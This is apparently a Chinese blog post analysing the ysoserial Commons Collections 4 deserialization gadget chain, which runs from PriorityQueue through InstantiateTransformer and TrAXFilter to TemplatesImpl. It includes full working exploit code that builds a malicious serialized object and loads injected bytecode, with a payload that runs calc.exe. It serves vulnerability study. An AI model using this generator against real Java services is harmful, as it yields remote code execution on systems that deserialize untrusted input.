java反序列化-ysoserial-调试分析总结篇(4)

1.前言

这篇文章继续分析commoncollections4利用链，这篇文章是对cc2的改造，和cc3一样，cc3是对cc1的改造，cc4则是对cc2的改造，里面chained的invoke变成了instantiateTransformer，所以不用invoke反射调用方法，所以外层queue里面放的元素随意

缩减版的函数调用栈如下图所示：

2.利用链分析：

调用还是从PriorityQueue.readObject函数开始

一直到org/apache/commons/collections4/comparators/TransformingComparator.class的compare函数中将调用chainedTransformer的transform方法了

这里第一个要利用的还是ConstantTransformer，要返回TrAXfilter类

接下来第二轮将调用Traxfilter类入口参数类型为Templates的构造函数，并且实例化调用该构造函数传入templatesImpl类的实例

接下来到TraxFilter的构造函数中将调用templatesImpl.newTransformer()，就可以是实例化_bytecode中存储的类进行rce了

yso构造分析：

首先构造一个Templates类的实例，然后开始构造chianed链需要的东西，首先就是一个Constanttransformer

然后再构造chained的第二个元素就是该链相对于cc2的区别为InstantiateTransformer类

接下来将两个transformer放进chaind，并且构造外层的PriorityQueue，并将chined放入TransformingComparator,然后再将Templates放到instantiate实例的参数和参数类型中，至此

就构造结束了

手动exp构造：

exp.java

package CommonsCollections4;
import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.ComparableComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
 
import javax.xml.transform.Templates;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
 
public class exp {
    public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException {
        TemplatesImpl tmp = new TemplatesImpl();
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(payload.class));
 
        CtClass pay_class = pool.get(payload.class.getName());
        byte[] payCode = pay_class.toBytecode();
        Class clazz;
        clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        //存储payload类
        Field byteCode = clazz.getDeclaredField("_bytecodes");
        byteCode.setAccessible(true);
        byteCode.set(tmp,new byte[][]{payCode});
        Field name  = clazz.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(tmp,"tr1ple");
 
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{tmp})
        };
 
        ChainedTransformer chian = new ChainedTransformer(trans);
        //PriorityQueue<Object> queue = new PriorityQueue(2,new TransformingComparator(chian));
        TransformingComparator transCom = new TransformingComparator(chian);
 
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
 
        Field com = PriorityQueue.class.getDeclaredField("comparator");
        com.setAccessible(true);
        com.set(queue,transCom);
 
        //序列化
        File file;
        file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections4.ser");
        ObjectOutputStream obj_out = new ObjectOutputStream(new FileOutputStream(file));
        obj_out.writeObject(queue);
 
    }
}

readobj.java

package CommonsCollections4;
 
import java.io.*;
import java.lang.Runtime;
 
public class readObj {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        File file;
        file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections4.ser");
        ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
        obj.readObject();
    }
}

payload.java

package CommonsCollections4;
 
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 
import java.io.IOException;
 
public class payload extends AbstractTranslet {
    {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public payload(){
        System.out.println("tr1ple 2333");
    }
 
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
 
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
    }
}